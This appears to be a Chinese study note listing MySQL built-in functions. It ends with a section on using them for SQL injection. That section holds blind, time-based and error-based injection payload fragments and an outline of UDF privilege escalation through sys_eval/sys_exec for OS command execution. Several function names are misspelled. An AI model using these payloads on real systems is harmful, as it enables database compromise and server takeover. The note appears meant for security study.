数据库系统功能
MySQL系统自带函数
*更多函数:https://blog.csdn.net/qq646040754/article/details/82721801
数学函数:
bin(x)
/hex(x)
返回x的二进制/十六进制编码
abs(x)
x的绝对值
mod(x,y)
求余运算
sqrt(x)
平方根运算
ceil(x) / ceiling(x)
rand()
返回0~1之间的浮点数
round(x,D)
四舍五入保留D位小数
sign(x)
返回x的符号
pow(x,y)
x的y次幂
exp(x)
e的x次幂
floor(x)
返回小于或等于x的最大整数
count(x)
返回查询的记录总数
sum()
返回计算总和
日期函数:
addate(d,n)
计算起始日期d加上n天的日期
addtime(t,n)
计算t加上n秒的时间
curdate()
current_date()
返回当前日期
curtime()
current_time()
返回当前时间
current_timestamp()
localtime()
now()
sysdate()
返回日期和时间
字符串函数:
ascii(str)
返回字符串第一个字符的ASCII值
char_langth(str)
统计字符串的字符数
length(str)
返回str字符串的长度
insert(str,x,y,insert)
将字符串从x开始,y个字符长度替换为字符串insert
lpad(s1,len,s2)
在字符串s1的开始处填充字符串s2,使得长度达到len
rpad(s1,len,s2)
在字符串s1的结尾处填充字符串s2,使得长度达到len
ltrim(s)/rtrim(s)
删除字符串s的开始/结尾处的空格
locate(s1,s)
从字符串s中获取s1的开始位置
position(s1 in s2)
从字符串s中获取s1开始的位置
left(s,n)
返回字符串s的前n个字符
right(s,n)
返回字符串s的后n个字符
mid(s,n,len),substring(s,n,len),substr(s,n,len)
从n位置字符串s截取len
concat(s1,s2,…)
返回s1,s2连接的字符串
concat_ws(s1,s2,'char'^)
返回可自由添加分隔符的拼接字符串
lcase()
lower()
字母小写转换
ucase(s)
upper(s)
字母大写转换
field()
返回第一个字符串在字符串列表的位置
find_in_set(s1,s2)
返回字符串s1在字符串s2的匹配位置
repeat(s,n)
字符串s重复n次
reverse(s)
字符串反序
strcmp(s1,s2)
比较字符串s1,s2并返回比较结果
nullif(exp1,exp2)
比较两个字符串
formax(x,n)
对数字x进行格式化,将x保留到小数点后n位(四舍五入)
truncate(x,y)
返回数值x保留到小数点后y位的值,(不会四舍五入)
binary(s)
将字符串s转换为二进制字符串
特殊函数:
connection_id()
返回连接该数据库服务器 的ID
current_user()
sssion_user
system_user()
user()
返回当前用户名
database()
返回当前数据库名
version()
返回数据库的版本号
@@version_compile_os
查看系统架构
@@version_compile_machine
查看mysql架构
@@datadir
查看数据的存储目录
函数的利用姿势:
length函数:判断长度
select length(database());
count()函数:返回匹配指定条件的行数
union select 1,count(*),3 from user;-- 查看当前表的数量
mid()函数:用于从字段中提取(一段)字符(布尔/时间/报错 盲注)
and mid(user(),1,1)='r';
and if(mid(user(),1,1)='r',sleep(2),1);
and updatexml(1,mid(concat(0x7e,user()),1,5),1)
group by语句:结合聚合函数使用(报错注入)
and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)
if(1,2,3):时间盲注
select if(1=1,sleep(2),1)
MySQL执行系统命令
system 执行格式:
mysql> system <linux命令>
UDF提权执行系统命令:
-
UDF是MySQL用户自定义的函数,
-
要求:
plugin目录具备读写权限
查看系统和MySQL架构
select @@version_compile_os , @@version_compile_machine ;
UDF库需要放在MySQL的plugin文件中
select @@plugin_dir;
自定义创建函数语法:
create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';
AGGREGATE
表示聚合函数,系统定义的聚合函数有:count(),ave(),mn(),sum()
SONAME
表示这个函数从哪个文件中引入,这个文件一般是动态链接库,windows是dll,linux是so,并且这个文件再mysql的plugin目录下;
UDF支持的函数:
sys_eval
执行任意命令,并返回他的输出
sys_exec
执行任意命令,并返回他的退出代码
sys_get
获取环境变量的值
sys_set
创建环境变量或更新现有的环境变量的值